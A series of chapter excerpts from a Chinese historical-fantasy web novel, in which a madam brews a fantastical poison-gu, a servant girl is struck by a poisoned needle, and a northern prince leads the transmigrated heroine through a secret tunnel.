只见她似是悲痛欲绝地缓缓闭起眼睛,那是在一遍遍地扪心自问着她此时那颗失落透了的心。 片刻后,她缓缓迈步,一步一步向着兰香的房间里挪步上去。 进到兰香房内,老鸨径自走到那幅花了她许多时间和心血,好不容易才作成的极为满意的蓝狐蝶图前。 朝其凝神端详了许久后,忽然伸出手缓缓将其从那冰冷的墙壁上摘了下来,轻轻吐气吹落掉蒙在上面的灰尘,然后再将其仔细地缓缓卷起,便夹在自己的臂弯里将房门轻掩上,下楼回到了自己的房间内。 她的屋内,一切布置和色彩搭配都极为清雅肃静,屋内最里面的角上,有一个整日整夜都是锁起来的看起来极为隐密的隔间。 此刻,她失魂落魄般地一进到屋里后,便习惯性地将门从里面反扣住,然后直奔向里面那间神秘感十足的隔间而去。 进到隔间里面后,老鸨方才将一直不曾离身,臂弯里夹着的蓝狐蝶图先再次挂了起来。随后,似是如惜别般地仔细环视起了眼前,这片只属于她自己的私人专属空间。 这是一个布置有些接近于实验室的屋子,屋子中央有张极为显眼的青石大桌案,上面摆着各种瓶瓶罐罐,器皿等等之类的物件。 屋子的角上靠窗那边是个偌大的草药架,收藏着极为齐全的各种草药种类,一点儿也不逊色于城内数一数二的药馆医馆的储备收纳。 忽然,她的目光停滞在青石桌案上的一个被黑布遮掩着的东西上,便开始缓缓踱步过去将黑布掀起。 原来那黑布遮掩下的琉璃瓶里,是拓跋泽派人历尽艰辛万苦,从灵空大陆之外以北的另一片冰海地带里寻回的,亦是所有南安国毒蛊师都敬而远之的至寒之物冰美人。 可这时候的冰美人却已经完全不再是初见时候,那视而如无物,不可一见的晶莹剔透的水晶冰蝶。 这段日子里,冰美人将百种寒性毒药草,从微量开始一点点吸食习惯,再日益逐渐增加毒草的种类和剂量,每日里只食这些几乎是极限地激发出其体内所有寒毒以及增加其毒性的毒草。 直至最后,就在前几日,又加上那世间极难养成的至毒美人血。 如今,它已被练成了一只遍体鲜红胜血的冰血美人。虽然依旧婀娜多姿地翩翩起舞,可震动双翅,洒落的却不再是泛着七彩光辉的点点冰花,而是粒粒 鲜红如泣血的血花。 马上,再等她最后为它加上最新制成的上乘龙蛊的所有灵力,在它的助力下,原来的冰美人,将会成为这个世上万毒不侵,即使大罗神仙在世也绝对无人能解的具有至寒之毒的冰美人毒蛊,而中了冰美人毒蛊之毒,即冰美人蛊毒的人,便会很快当场寒毒骤发畏寒致死。 此时,老鸨如同欣赏一副世间至美的艺术品一般,面露着让人憎恶的邪恶的笑容,端详着眼前自己毕生最完美的杰作,忽又见她抬头看了看挂在眼前自己亲手临摹的那副蓝狐蝶图。 好似是在对比着冰美人此时的邪恶和最初的纯净,也恰似此时的她自己。 一个人,一只蝶,亦或这世间万物,到底要经历多少心酸与煎熬,才会变成今天这般丢失了自己的模样。 片刻后,她忽然醒过神来,走到一边点起一盏油灯,又拿了油灯旁放着的一碗米饭,随即朝着这屋子里的一个小角上,竟还有着另一个极小的密封空间而去。 这个小空间可谓真正是个名副其实的小黑屋,似乎是个连空气都不能流通,更无一缕光线摄入的秘密屋子。她一打开门进去,便将门立刻反扣住。 里面的空间委实狭小,看似只得放下一张床的地儿而已。 只见她借着油灯的光亮,稍一搜索,目光便落在了这小黑屋里独有的一物——一个密封着的口小腹大的神秘黑瓮上。 只见她走过去将那碗米饭放在一边的地上,随后弯腰下来,伸手缓缓打开密封着的瓮缸盖,那龙蛊便瞬间自己飞窜了出来。 宛若一条小飞龙在空中疯狂地盘旋飞舞起来,时而变成一团火球的样子,将整个小黑屋瞬间照的一片光亮;时而又变成一团黑影,调皮的像个孩子般将自己隐藏起来,不断变化莫测着到处往来乱窜。 这只蛊,老鸨已经用猪油炒鸡蛋、米饭等之类的食物,养了大半年了。本还不足到已养成之日,可是在她加入了美人血之后,它便一夜即成蛊了。 别看它个头小,在美人血的催成下,他的灵力倒是只增不减的。 只可惜的是,如此百里挑一存活下来,后又受了美人血的滋养,甚是难得的龙蛊,为了制得冰美人毒蛊,今日,它将牺牲掉自己而成全别物,将所有灵力转给冰美人成蛊做助力。 老鸨看着龙蛊此时已化身为一指之长的一条可爱的小龙般模样正在专心觅食的模样,眼里不禁渗出了泪水,一边用手指轻抚着它的身体,一边嘴里重复着说道“是时候了,是时候了……” 就在这时,外面忽然传来一阵叩门的声音“咚咚咚”,她赶忙将龙蛊捏住,放回到黑瓮缸之中,又再次将盖子重新封的严严实实。这才拾起米饭碗,匆匆走出 了小黑屋的门,将其牢牢地锁了起来。 一出门,快速吹气熄灭了手里的油灯,继而又踱身走到了大石案边,将那红艳艳又似血淋淋的冰美人用黑布重新罩好,环视了 第一百五十五章:牺牲你,成就我 就在兰香亦失神地转过身去,想要走出门离去之时,忽然,她似是又想起了什么,不禁停住了脚步,背对着她说了句“本来,有个人想见你,他让我告诉你,说是你南安的同乡,特地前来探望你的。不过,见你好像是真的疯了,看来,这也是你此生最终的宿命。可怜你一辈子都梦想着能够再次回到南安老家,再次见到老家的人,老家的物……可如今,好不容易终于等到了一个同乡特意上门前来探望,你……却疯了!” 一时间心里五味杂陈,却无奈只能重重地叹一口气后,稍一停顿,兰香对她继续说道“今生有缘相识一场,兰香想奉劝你几句:下辈子,记得千万不要再做坏事。如此,一生才便不会那么痛苦和凄惨。无论你是出于什么原因和目的,它都不能作为你打击报复的理由和借口。孩子,无论他身在何处,在谁身旁,只要是自己亲生的,便永远都会与你心心相惜着的。你的一切,他都能感应。” 兰香话一说完,头便再也不回地径直朝外走了出去。 若不是亲身经历过的人,又岂能说出这般身临其境之语呢。 她对老鸨说这番话的时候,自己的心中又何尝不曾闪过某个与自己身上流着同一脉鲜血的人的影子。 即使这辈子从都未曾见过,她却一直强烈地感应着他的存在。甚至于连他过的好不好,有时甚至都会出现在她逼真的梦境里。 她知道也深信,总有一天,他们会见面的,这种超越距离的感应,是一种与生俱来的天性,什么都不能将它磨灭,哪怕是那根深入骨,不共戴天的仇与恨。 而这时,老鸨那真的已处在崩溃边缘的意识却似渐渐又重新清醒了过来,眼神里依稀仍有些迷离和呆滞,却口中似是有些激动地喃喃自语道“冰美人毒蛊,冰美人毒蛊……” 话音尚还未落,便忽的一下跌跌撞撞着起身来,颤抖着双手将门锁再次打开来,大步流星朝着她的龙蛊小黑屋里进去。 就在兰香刚走出老鸨的房门后,躲在一旁暗处的一个鬼鬼祟祟的男子身影,匆匆来到了万娇阁后院的阁楼里,向着拓跋泽的近身侍卫禀道“启禀大人,兰香那丫头出现了。” “哦?在哪里?”侍卫闻之大惊,立刻将那正端坐着细细端详着的手中刚被自己擦拭的铮铮发亮的佩剑放入剑鞘,置于面前的桌案上。 原来男子正是那近身侍卫的手下,自从今日天一亮,兰香同程良和易三少三人,一踏进万娇阁的大门来,便早已经看到并尾随其后监视着他们的一举一动。 那手下回话道“现在她应该在前厅。” “哦?她是吃了熊心豹子胆了么,竟还敢自己送上门来找死。既然如此,为何不将那贱人直接 押来见我?”那近身侍卫抬起头来看着手下气呼呼地道。 手下却支支吾吾地犹犹豫豫起来,道“大人,兰香她...她和秦王的人在一起,他们是一起来的。” 闻之,侍卫的眼睛顿时一怔,片刻后却又一脸坦然地道“哼...她是我万娇阁的人,就算是天王老子来了,又能如何?” 手下怯怯的看了侍卫一眼,咬了咬牙,接着小心翼翼道“大人...老鸨将兰香的卖身契还给她了,所以...她已经不是万娇阁的人了。” 侍卫头目闻此愤然起身来,瞪大眼睛怒道“什么?真是‘成事不足败事有余’,这个老家伙是真的活腻了不成,未经主子允许,竟敢私自做主放人。” 手下顿时吓得垂首下去,低声请示“那咱们现在该怎么办?” 侍卫头目微微闭眼略一思量,开口喃喃低语“兰香应该还不知道殿下的身份,但斩草要除根,为保不在此留下任何痕迹。这次无论如何,都一定要找机会想办法将她...”虽话没说完,他的眼睛却早已变作一把凶狠而又锋利无比的剑。 手下一见便顿然领悟,道“属下明白。” 稍一迟疑,手下又道“还有一事,方才兰香去找了老鸨,属下隐隐约约听到好像是秦王的人要见她,还是老鸨的什么同乡。” 侍卫头目闻之即刻大喝一声“不可,绝对不能让她见秦王的人。” 拓跋泽一直对老鸨的忠诚度本就有所防备,然她不比兰香,老鸨知道太多他们的计划,自是怕她会倒戈。 况且冰美人毒蛊即将练成,在这个节骨眼上,可千万不能冒任何风险,段不能因一时疏忽,而枉为他人做了嫁衣裳。 但依现在的情况看来,秦王逼得十分紧迫,几乎每日都会派人来万娇阁里走几趟,不知道究竟在做何盘算。 只是明显他们定是已经等不到冰美人毒蛊练成之日,给那秦王轩辕翰施毒后再行撤离了。 思及此,侍卫头目当即做了一个颇为重要的决定“即刻全力布局暗杀兰香、之后马上带着老鸨,全部撤离回国。” “是”手下领命后即刻退下去安排行事。 这时,侍卫头目流露出的眼神里是满满的杀气,他迅速拿起面前方才擦拭好的利剑,匆匆下了楼去。 老鸨的密室里。 伴随着她的双目紧闭,口中念念有词地吟诵着一些莫名的咒语,只见那装着正在振动双翅撒落下点点如泣血的血花般的冰美人的琉璃瓶中,一缕缕火红色烟雾正如同抽丝般源源不断地从龙蛊的体内缓缓散发出来,继而又被那鲜红胜血的冰美人吸食入体。 这一缕缕,一丝丝,渐渐抽掉了它毕生全部所有的精血和灵魂。此刻,它一定很痛,很痛…… 很 快,那龙蛊便奄奄一息地躺在那只精美的琉璃瓶底一动也不动,直到散尽最后一缕气息,终于渐渐停止了其悲哀而又无望的挣扎。 然此时,冰美人却停下来那婀娜多姿的翩翩起舞之态,缓缓落下停留在瓶底,龙蛊的尸体旁,一动不动地只朝着它眨着眼睛。 似是在感激它的牺牲,从而成全了自己的又一次重生亦是新生。又似在讨厌嫌弃此刻的自己,即将成为有些人利用的最邪恶的工具。 忽然,那落在龙蛊身旁吸食了它所有灵力的冰美人,它浑身的 第一百五十六章:阴差阳错毁解药 “这杯茶...是给我喝的么?好香啊!我倒还真是有些渴了呢。”兰香看到莲儿终于开心的笑了,方才注意到她手里一直捧着的那盏玫瑰花茶,便欲伸手过去将其一把接过。 然莲儿却再次一边拼命地摇晃起脑袋来,一边将手里的茶盏急急避开兰香伸过来的手。 无奈兰香伸手却扑了个空,随即脸上露出一丝不悦,莲儿亦是有苦难言说不出,亦不知该如何是好。 兰香眉头紧锁着心里纳闷极了,莲儿她今天到底是怎么了。于是,便气急败坏地朝她怒道“莲儿,你今天到底是怎么了?打扮的莫名其妙,这会儿明明就是端给我的茶却又不给我喝,更是奇怪极了。哼……这盏茶,我今天是喝定了。” 兰香话一说完,便伸手上去抢,程良和易君浩亦是看的目瞪口呆,面面相觑着不明所以。 就在俩人你推我嚷之间,莲儿心里当下一着急,索性便将手里的茶盏似是故意地摔落在地。 “莲儿,你……”就在兰香气的即将大声吼骂莲儿时,只见那茶盏里的茶汤一洒落在地上,便即刻泛起一堆细碎的泡沫来,上面还笼罩着一团白色烟雾,顿时剧烈不断地翻滚开来。 易君浩随即起身来惊声道“小心有毒。” 一边说着,便朝着地上的茶盏碎片匆匆近身过来,只俯身瞥了一眼茶盏里的残渣,便当即蹙眉断定道“是绝心草。” “绝心草?”众人闻之皆异口同声,不约而同地看向他疑惑道。 易君浩解释道“绝心草,是仅生于北烈国的一种毒草。中毒者刚开始会觉得胸口锥痛难忍,半个时辰后,便会心脉俱断而死。” 闻此,莲儿早已被惊吓的似乎六神无主地杵在原地里一动不动。而兰香抓着她的胳膊用力地摇晃着道“莲儿,你这是做什么,是谁让你这么做的?是不是…是不是阁主,他人呢?” 然莲儿只有摇头,除了摇头似是其他任何信息也传达不了。 “让她写。”这时,程良忽然急道。 兰香却急的都似是要哭了,道“她连自己从哪儿来的都不知道,哪里还会写字啊。” 这时,莲儿像是发现了什么,忽然间抬眼绕过兰香向着门口窥望了一眼,接着只听到她“啊啊啊……”一边喊着,一边推着兰香将其硬往外推去,所有人根本不知道她要做什么或者想要表达什么。 忽然,只听“嗖”的一声,从门缝里飞进一枚毒针,兰香此时正背对着门口,根本没有发觉,而莲儿是正对着门将兰香往出推的,便眼疾手快地将兰香一把大力的推开,那毒针刚好稳稳地扎在了莲儿的胸前,莲儿顺势倒了下去,兰香惊讶地张大了嘴巴飞身过去一把将莲儿接住紧紧拥入到自己怀中。 程良顺着毒针飞来的方向一见有人影闪过,立刻大步到门口大喊一声“来人,保护好兰香姑娘。” 话音未落,人便已飞身追了过去。 易君浩则赶忙上前翻开莲儿的眼皮来查看着,又拉起她的手腕来急急把脉,而兰香则紧紧地拥着莲儿,惊声哭道“莲儿,好莲儿,你要挺住啊,秦王殿下来救我们了,我们马上就自由了,我们的好日子就要来了,你可不能死,一定不能死啊…三少快救她,快救她,她不能死,不能死……” 然易君浩却只不停地摇头,一脸无奈地看着兰香“她中的毒亦是来自北烈国,一种极为罕见的断肠草。此断肠草毒只需极小的剂量,一触及便会在一个时辰内很快肠穿肚烂而亡,它的解药是……” “是什么?”听到此毒有药可解,兰香立马止住抽泣声,瞪大了眼睛迫不及待地问。 “它的解药是那碗刚被你们打翻在地的绝心草。”易君浩看着方才落在地上碎了一地的茶盏碎片,可惜地说。 “怎么会,怎么会呢?”兰香亦看了一眼身旁的一地狼籍,不可思议地道。 “这种断肠草与那绝心草一起相互而生,互相取其精华,所以自是可以用来互相解毒。”易君浩道。 说完,他看了看悲痛欲绝的兰香,又看了看方才地上的那堆茶盏碎片,深叹一声道“看来,这北烈国皇子真的是黔驴技穷,无计可施了,竟都只剩下用只有北烈自己才有的那些下三烂的毒,直取人性命,竟不给自己留一点余地和退路。想必,他们是誓要夺取这灵空大陆至高无上的位置了,否则,也不敢如此明目张胆地挑事儿。” 殊不知,这一切都只是拓跋泽的近身侍卫身旁那个不中用的手下自作主张,狗急跳墙之举而已。他妄想借助与兰香亲近的莲儿之手,神不知鬼不觉地取其性命。拓跋泽,怎会像他这般蠢笨。 就在易君浩沉思之际,莲儿忽然口吐一大口污血出来,喷了自己和兰香一身,兰香见此本就焦急的情绪随之变得更加激动“莲儿,你不要吓我,我求你,你不要死…对了,解药,解药是绝心草,绝心草,找老鸨,老鸨一定还有绝心草。” 易君浩闻此亦顿时眼睛一亮,然此时,兰香却着急地起身来对易君浩说“烦请三少帮我看着莲儿,我这就去找老鸨要解药。” 易君浩问“你去?你方才回来不是说那老鸨已经疯了么,难道,你识得绝心草?” 兰香咬了咬嘴唇,后又无奈地摇头,易君浩瞪着她道“你照顾好她,我去找解药。” 说完,便头也不回地迈步走了出去。 程良带人一路紧随那神秘人影之后,最后追到了万娇阁后院的阁楼下,那人影竟顿然消失不见了。 他四处张望了一圈,万娇阁甚至其周围相邻的屋顶上,都有秦王府自己的暗卫把守着,想来那神秘人自是不可能飞檐走壁而逃走,便定是还在这座后院之中。 后院的院子亦不算大,她又让人细细查看了院子一圈亦是无可藏身之处。 &nbs 第一百五十七章:不知不觉,竟已处处都是他 当拓跋泽伸手轻轻将那门推开来一道缝隙的时候,衣上云明显感觉有一股比方才她和玉娘所在的那间密室要阴冷许多的风气流露出来。 就在她心中迟疑之际,拓跋泽忽然回过头来对她似是叮嘱又是警告的语气,说道“里面很长时间会没有光,你要小心跟紧本皇子了。” “没有光,你手里拿着的不正是光么?”衣上云想都没想,看着他手中的油灯脱口即出,觉得他的话里有话,很是有些莫名其妙又似神秘的样子。 岂料,拓跋泽对她所说只是回以神秘地一笑而过,随后便推门大步跨了进去。 “这,这是一条地下隧道!”衣上云跟着其脚步亦一踏进去,即刻便怔住惊呆了。原来这最后一道门里面并不是什么密室。 借着拓跋泽手中微弱的烛火之光,隐隐约约显现出来一条漆黑看不到尽头的,似乎极为漫长的地下隧道来。 衣上云顿时醒悟过来。原来这万娇阁里真的是机关重重,他们一开始便早就做好了东窗事发逃跑的准备。难怪秦王殿下包围了万娇阁数日都不见有任何动静,他一定是还没有找到这万娇阁的密室所在,亦还没有找到拓跋泽本人。这个北烈国皇子,真是阴险狡诈,谋划深远啊! 就在衣上云想要悄悄退一步回去的时候,不知道为什么,她自觉并没有触及到任何机关,那门却竟然“咔”的一声,便自己紧紧地关了起来。 “想逃?哼…来不及了。不妨告诉你吧,这密道是本皇子亲自设计的。它的开关是一次性的,只要一有人打开门进来,它便会自动关起。以后便再也不会有人能将此门打开,没有打开,自然也不会再有关闭。除非……”拓跋泽见衣上云依然没有放弃想要脱逃,便哼了一声,一脸自豪地说道。 “除非什么?”衣上云见他话未说完却收了声,连忙好奇地问。 拓跋泽诡异地看了看她极为认真的模样,随即凑到其耳边似是用极其暧昧的口吻说道“总之,你就不要再妄想逃脱了,没有用的。这辈子,本皇子都不会放过你的……” 然见衣上云丝毫都不为其所动容,依旧执着与坚定的眼神,终究还是一脸挫败地将能够再次打开这道神秘的门的方法告诉了她“想要打开这道门,其实也很简单,除非能有本事将这万娇阁夷为平地。不过,想必到时候这个地下隧道也会不复存在了吧。” 听了拓跋泽这番极为得意、自豪、又傲慢的话,衣上云顿时怒火中烧道“拓跋泽...你...你简直丧心病狂。依你所言,如此深邃的隧道,万娇阁如果塌了,那沿着隧道的这一带建筑不就都会被牵连了么。” 然拓跋泽听了这话,却似乎满脸的不在乎,却似是更享受和 希望如此。 忽然,他伸手一把紧紧握起衣上云的手便拖着她大步往隧道的另一头走去。 在他手中执着的那微弱的烛火火光照耀下,现出有些狰狞的眼色,边走边沉声说道“丧心病狂?哼,本皇子不会在意你所说的每一句中伤本皇子的话。因为总有一天,本皇子会让你亲眼看到,到底什么才是真正的丧心病狂。用不了多久,这整片灵空大陆,到底是谁说了才算;谁才是这天下真正的主人;当然,还有你,最终也只会成为本皇子的附属品。而你如今所说的这些话,也只会让本皇子的决心更加坚定而已。” “你休想,放开我,放开我,我自己会走。拓跋泽,你做梦,秦王殿下是绝对不会放过你的,他一定不会让你的奸计得逞。”衣上云一边拼命挣脱着自己被拓跋泽紧紧攥着的一只手,一边心里忽然意识到自己口中竟又一次蹦出了‘秦王殿下’这四个字来。 随即心里道“难道,真的是要等到失去了才懂得珍惜么?!眼下,怕是跟着拓跋泽这一去,已是归期再也无望了。不知道,在西秦的短短大半年里,会不会有人因为她的离去,而有那么一点点难过呢?” 然这话刚一说出,拓跋泽即刻将目光重新锁定在她的眼睛上,瞬间呆愣住转过身来狠狠地瞪着她。 半晌后,衣上云盯着他的眼神,心里似是方才有些害怕,眨了眨眼睛,而拓跋泽却忽然似是咬牙切齿地狰狞说道“秦王?秦王轩辕翰?哼……本皇子若是当初不是被那个传遍整个灵空大陆的神秘传说所迷惑,怕是早就将他碎尸万段了。岂还会容他到现在,竟敢对本皇子竭力打造的万娇阁动手。” 拓跋泽此话一说完,便又继续一只手举着灯,另一手拖着衣上云继续往前赶路。 “传遍整个灵空的神秘传说?是……什么传说?”衣上云一边不情愿地走走停停着,一边好奇地探问。 拓跋泽在前面引路,忽然眼珠子一转边走边道“对了,听说你父亲是西秦皇宫的一名大药师,你也进宫做过药女。那你们可在皇宫里曾听说过,那西秦皇帝有一股神秘力量的守护,西秦国方才得以长治久安。” “皇帝有神秘力量的守护?并不曾听人传说啊。”衣上云稍作回忆,纳闷道。 拓跋泽哼笑一声道“哼……看来那西秦璟帝隐藏的很深啊,竟连宫里伺候的老人都对此事丝毫未闻。难怪本皇子这些年来,从那些达官显贵之处亦是对此丝毫没有半点收获。” 岂料衣上云却对此忽然来了兴趣,追问“到底是什么传闻吶?你就说说呗。” “想知道?那你答应做本皇子的妃子,如何?”拓跋泽闻之随即不怀好意地狡黠笑问道。 不想这次衣上云竟没有对他发怒,倒是柔声着说“殿下,西秦国内,可是无人不知,我...城西衣府上的大小姐,是个被人退 第一百五十八章:南有乔木,不可休思 可这...天呢,我这是怎么了?不知不觉间,竟已,处处都是他。那个大冰块,冰冷无情又无趣霸道的秦王轩辕翰,难道已经占满了我的整个灵魂了不成。 思及此,衣上云不禁口中越来越大声地连连直喊着“不可以,不可以,不可以……” 感觉到她正在剧烈地晃动着脑袋,口中更不知其所云为何的拓跋泽方才缓缓离开她的发髻边来,望着她迷离的眼睛关切地问道“什么不可以?” 一时间,衣上云的心里却似揣了只兔子般七上八下着不知所措,急急推开拓跋泽放在自己肩上的大手,道“不可以…不可以…南有乔木,不可休思。” 拓跋泽见她忽然像只受惊的小兔般慌乱无措,依她所言,似是猜到了些什么,试探着问“南有乔木,不可休思。你…莫非,你已经有了意中人?” 衣上云急道“没有…没有…方才我不是已经说过了,我是被人退过婚的女子,这辈子都不会再有什么姻缘,你就不要再瞎猜了。” 然拓跋泽依旧不愿轻易放弃,道“衣上云,做本皇子的妃子究竟有什么不好,这世上可有大把的女子做梦都在想着呢。” “呵…你和我,根本就不是同一个世界和空间的人…快走吧,这里黑漆漆,阴森森的,可一点儿都不好。”衣上云终于醒过神来,眯起那双好看的眼睛来对其傻笑一声,说的话更是让对方丈二和尚摸不着头脑。最后又看了看漆黑的周遭,催促道。 拓跋泽也只得继续一脸闷地引路前行,看到衣上云现在倒是主动有些迫不及待想跟他走了,忽问“你…现在是真的愿意跟随本皇子回北烈去了么?” 衣上云闻声,沉默了片刻后道“我,本就是个命如浮萍的女子,想来,去哪里也无所谓了。既然在这个时空里生无可恋亦无人怜我,如若能用自己来换取大家的安危,成全别人,自己又能得一份自由自在的身心,亦算是个不错的选择……只望下一世里,不要再如此轰轰烈烈,光怪陆离了。我只想平淡生活,生活平淡,仅此而已。” “‘平淡生活,生活平淡’,这样的人生,恐怕没有人不想要吧。只是‘树欲静而风不止’,依照如今灵空大陆四国的局势,只怕是穷极一生,也很难实现的。”拓跋泽亦意味深长地向往着说道。 然衣上云却一脸坚信,莞尔一笑,道“哼……我倒是更愿意相信‘有志者事竟成’,只要你愿意,就终会活成自己想要的模样。” “哼…看来衣姑娘是个颇爱自由之人,喜欢无拘无束。相信我北烈国的广阔大草原和高大的骏马,最适合你不过了,你就等着吧。”拓跋泽忽然间感觉像是遇到了知己,意气风发,信誓旦旦,胸有成竹道。 衣上云对此淡淡地笑着,其实,她不是不明白轩辕翰对她的心思,他在她心里的位置如今已经明显代替了魏明轩,可那样高高在上的一个人,又怎是她可以惦记的。 或许,只有东宁公主那样锦衣玉食长大的金枝玉叶,才配的上他吧。 其实,来自21世纪女强人的美女ceo的她,在事业上,她从来都不缺乏打好每一场胜仗的信心,可在感情上,无疑她是极为自卑的。 尤其自从魏明轩失踪之后,她更是如此。想当初只为了他淡淡的一句“以后的人生路,陪我一起走”,她便倾尽所有,赌上她的自尊和骄傲以及前途,没有一丝保留地如同飞蛾扑火一般学着去做一个天底下最好的女朋友。 他太优秀,她怕失去,有时候甚至都不敢靠近,只等着他的召唤。然越是害怕,便越会到来,终有一天,他真的不告而别失踪了。 所以,与其像从前的魏明轩一样,总有一天要离开,会失去,倒还不如自己早早地抽身出来,不要陷入那样深,即便不会再那般痛,这是她命里不能再承受的。 所以,与其继续留在西秦秦王府里,不知接下来该如何面对他的日日夜夜,倒还不如离开,这样或许对大家都好。 ‘南有乔木,不可休思’,他们……始终都不是她所能及的。她想,一定是月老太忙,把她的事给遗忘了,让她生生世世里都爱而不得吧。 她本就从来都不曾想过要拯救世界,所以这灵空大陆,谁主沉浮,又与她何干? 西秦衣府嫡长女的身份,本也并不是她的,她自是对那个所谓的家也没什么责任和义务要尽。 既然已回不去21世纪,那就索性在这个时空里,寻个能让自己舒心和自由的一隅之地逍遥一世,倒也不赖。 思及此,她似是已经痛下了离开的决心。随即一转念又问“对了,你方才说的神秘力量究竟是什么东西?” 拓跋泽经过方才与衣上云一番走心的交流,算是已经对其卸下了大部分的心理防备,于是与她缓缓慢慢道来“是这样的……” 衣上云听着拓跋泽天马行空地说了一大堆有的没的,又无边无际更似是一个个神话故事般的胡言乱语后,大惊道“说了半天,这么多年来,你根本就还没弄明白这股神秘力量究竟是什么啊!” “惭愧惭愧。”拓跋泽与衣上云一起并排走着,帮她小心翼翼地照亮着脚下的路,无奈地摇头叹气着说道。 “不知衣姑娘对此有什么见解?”片刻后,拓跋泽客气道。 衣上云随即嘴里缓缓重复道“一个神秘部落,一个特别的女子,一把能斩妖除魔的神剑,一种拥有天下最神奇力量的神秘血液,一个此神秘 部落世代相传的圣物,能创造奇迹的力量。” 拓跋泽瞬间惊呆了,他只说了一次,她竟都记住了。连连回应她道“对对对,这些年,本皇子派人费劲心思就零零散散探到了这些,也不知到底哪个才是那股所谓的神秘力量?本皇子都快要认为,这根本就是西秦皇室自己编造,故意散播出来的一个骗人的幌子,为了掩人耳目,让人闻风丧胆,保他西秦基业。” &nb 第一百五十九章:密室之战 “‘血族’,这倒是有些新奇了。原来血族并不只是西方国家里传说的吸血鬼啊。”衣上云闻此方觉有些兴趣,于是喃喃低声惊道。 “什么鬼?”拓跋泽隐隐约约听到她的喃喃之音问道。 衣上云急忙打叉道“喔,我是说他们的先祖早就已经变成鬼了…对了,依你所说,‘血族’是以其开创先祖所修成的具有血脉相承的独特且珍贵神奇的血统而著称,那书中可有详细记载那血族后人之血到底有何神奇呢?或许,我们可以从中寻到些蛛丝马迹来。” 拓跋泽轻叹一声,似是有些遗憾道“这本书,本皇子得到的时候,其中有许多记载已经被撕毁,并未见记载此项。不过,那老鸨倒是从她的南安老家道听途说过许多。” 衣上云惊道“哦,你们倒还果真是志同道合啊,那你都听到了些什么呢?” 拓跋泽正色道“这个也是人各有云,各不相同。老鸨说自古在南安国民间,有人传说,血族族人是妖魔鬼怪,奸淫掳掠、烧杀抢夺、无恶不作。” “胡说八道,如此邪恶的力量,只会助纣为虐,怎可能成为坐拥天下君王的助力。”衣上云当即便否决道。 拓跋泽虽凶狠,却也是同样这样认为,又继续道“亦有人说,因为其开创先祖在日积月累的研究医药之术的时候,尝尽了世间所有的奇毒异草,几乎终日里以之为食,便使得其精血发生了改变。从而在繁衍后代的时候,便亦都传承了其先祖的奇特血脉。” 衣上云似是有些兴趣道:“这倒有点儿意思。” 拓跋泽忽然露出一副贪婪的嘴角,道:“还说以此血为引,可以制得天下最强的毒,亦可解天下至毒,更能创造诸多意想不到的奇迹,几乎无所不能,故亦有‘得此血者得天下’之说。” 听到这里,不知为何,衣上云忽然想起了方才在密室里帮玉娘摸黑饮下的那碗血水,不禁出神地口中重复道“可制得天下最强的毒,亦可解天下至毒,得此血者得天下……” 拓跋泽只顾入迷地在前面边走边叙述,根本没有注意到衣上云若有所思着。 他津津有味地说“还有人说,血族已经在后来的一场族内的倒戈中惨遭灭族;而又有少数人说,血族并没有全族灭亡,其仅存的一位直系后人流落到了灵空大陆的西秦国,并得以繁衍生息,成为西秦皇室的开国功臣以及最忠实的守护者,但是在西秦皇室多年前的一场内乱之中,血族后人惨遭追杀,不慎跌落悬崖致死。” 衣上云闻此,忽然醒过神来道“哦?那血族岂不是就此灭族消失了么?!既然如此,西秦还有什么可畏惧的?” 拓跋泽深叹口气,道“不,虽说表面上看起来如此。但灵空大 陆各国君王都一致认为,血族如此奇特又强大的力量,一定不会就这么轻易便灭族,一定还有后人活着。这才派出各自最强大的力量前来西秦秘密探究。没有十分的把握,谁都不敢出兵举事。这可不是闹着玩儿的,稍有不慎,便是灭国之祸。故多年以来,四国之间,一向都是‘人不犯我,我不犯人。’,其实背后里谁不是蠢蠢欲动着,却都也彼此万分忌惮着,只等有人能早日揭开这个谜底来。” 稍作停顿后,他又继续说道“对了,你知道么?就在半年多前,本皇子听闻西秦城西有座民宅里,大雨滂沱之夜,电闪雷鸣中,夜空里还出现了七彩凤凰虚影。便有人传,是那股力量重生了。只可惜…本皇子还未来得及到城西亲自走一趟,便被那秦王轩辕翰逼得不得不回国重整旗鼓了。”话一说完,拓跋泽将那只空着的拳头紧紧握起,咯咯作响。 衣上云一听,又是轩辕翰,此话一出,俩人都陷入了各自深深的沉思当中…… 万娇阁后院的阁楼里。 已到了最后的关键时刻,没有了拓跋泽和那毒蛊师老鸨的阻挠,程良一行人顺利而又紧张地由下而上,一层层,一间间逐个搜索排除着密室及打开密室的机关所在。 不知不觉中,众人又再次来到了这座阁楼中似是最具神秘的茶室里。 众手下都散去一旁的隔间里仔细搜寻,程良则现在门口环视了一下整个茶室内的四周,最后径自走向了那个上面布满琳琅满目各种储茶罐的乌木茶架。 他正对着茶架,一个挨着一个地仔仔细细审视了一遍眼前的每一个储茶罐,忽然开口急呼道“来人,把这个乌木茶架挪开。” 闻声,正在四处搜索着的侍卫一个个都赶忙跑出来,分开到茶架的两边。 正当众人合力准备将茶架搬离原地时,其中一名侍卫忽然看到一个上面印着北方牧草羊草图案的比其他储茶罐都大了几分的一个储茶罐旁边似乎有个什么东西,便走过去瞧了一眼道,顿时惊呼道“将军,快来看。” 程良闻声急急过去朝着侍卫指向望了一眼,怔着眼睛即刻吩咐道“都躲开到一边上。” 侍卫们闻声连忙都聚在边上,一起挨靠着墙,只见程良伸手将那刚被侍卫发现的架子上那个镶嵌着有些像狼面的金属图腾机关,往下轻轻一按。 忽然,众人眼前的乌木茶架边地上,打开来了一道缝隙。 沿着这神秘的缝隙看去,眼前竟出现了一座通往地下的阶梯来,里面还隐隐约约散发着星星点点的烛火之光。 程良看到后丝毫没有迟疑,便拔出腰间的佩剑,沿着阶梯走了下去,侍卫们已都紧紧跟随其后,只留下了两人在上面把守机关。 众人小心 翼翼地一下到地下密室里,借着微弱的烛火之光,正在朝四下里观望探悉着里面的情况,只听“吱呀”一声,密室里整整齐齐并排着的一模一样的貌似六个小房间,其中第二个房间的门自己打了开来。 顿时,只见有无数支利箭带着红红的火苗以迅雷不及掩耳之势从里面“嗖嗖嗖”地直朝着他们射了过来,众人即刻挥起手中长剑,飞快又灵巧地转动剑身,便将箭一一成功地挡下,顿时间,一片 第一百六十章:玉娘终得救 就在所有人都以为程良亦已经化为一堆白骨,伤心难过时,第四扇门竟忽然缓缓被从里面被打了开来。 